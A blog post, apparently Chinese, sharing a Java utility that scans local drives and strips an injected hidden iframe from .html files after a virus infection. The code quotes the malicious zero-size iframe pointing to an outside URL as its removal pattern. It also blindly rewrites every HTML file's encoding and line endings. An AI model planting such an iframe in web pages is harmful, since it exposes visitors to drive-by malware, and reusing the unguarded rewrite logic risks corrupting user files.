`
44424742
  • 浏览: 225225 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
文章分类
社区版块
存档分类
最新评论

文件清除

阅读更多

不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.

Java代码 复制代码收藏代码
  1. publicclassFileUtils{
  2. publicstaticvoidmain(String[]args)throwsException{
  3. Stringcontent="<iframewidth='0'height='0'src='http://mmm.mmy88.cn/lx.htm'></iframe>";
  4. StringextName=".html";
  5. String[]dirs={"C:","D:","E:","F:"};
  6. for(inti=0;i<dirs.length;i++){
  7. Stringdir=dirs[i];
  8. longt1=System.currentTimeMillis();
  9. delContent(content,dir,extName);
  10. longtime=System.currentTimeMillis()-t1;
  11. System.out.printf("Processdirectory%sin%dseconds\n",dir,time/1000);
  12. }
  13. }
  14. /**
  15. *Delcontentinallthefiles(.extName)underthespecifieddirectory
  16. *
  17. *@paramextNamelike".html"
  18. */
  19. publicstaticvoiddelContent(Stringcontent,Stringdir,StringextName)throwsException{
  20. List<String>fileNames=listFileNames(dir,extName);
  21. //System.out.println("Modifying...");
  22. for(inti=0;i<fileNames.size();i++){
  23. StringfileName=fileNames.get(i);
  24. //System.out.printf("%5dModifyingfile:%s\n",i,fileName);
  25. //Read
  26. Filef=newFile(fileName);
  27. BufferedInputStreambin=newBufferedInputStream(newFileInputStream(f));
  28. byte[]buff=newbyte[((int)f.length())];
  29. bin.read(buff);
  30. bin.close();
  31. Stringstr=newString(buff,"utf-8");
  32. String[]all=str.split("\r\n");
  33. //Write
  34. OutputStreamfout=newFileOutputStream(f);
  35. for(intj=0;j<all.length;j++){
  36. all[j]=all[j].replaceAll(content,"");
  37. fout.write((all[j]+"\r\n").getBytes("utf-8"));
  38. }
  39. fout.flush();
  40. fout.close();
  41. }
  42. }
  43. /**
  44. *Listallfile(.extName)nameinthepath
  45. *
  46. *@paramextNamelike".html"
  47. */
  48. publicstaticList<String>listFileNames(finalStringpath,finalStringextName){
  49. List<String>fileNames=newArrayList<String>();
  50. FilenameFilterfilter=newFilenameFilter(){
  51. publicbooleanaccept(Filedir,Stringname){
  52. Filefile=newFile(dir,name);
  53. returnname.endsWith(extName)||file.isDirectory();
  54. }
  55. };
  56. Filedir=newFile(path);
  57. listFileNames(dir,filter,fileNames);
  58. returnfileNames;
  59. }
  60. privatestaticvoidlistFileNames(Filedir,FilenameFilterfilter,List<String>fileNames){
  61. String[]names=dir.list(filter);
  62. for(Strings:names){
  63. StringfileName=dir.getPath()+File.separator+s;
  64. Filefile=newFile(fileName);
  65. if(file.isDirectory())
  66. listFileNames(file,filter,fileNames);
  67. else
  68. fileNames.add(fileName);
  69. }
  70. }
  71. }
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics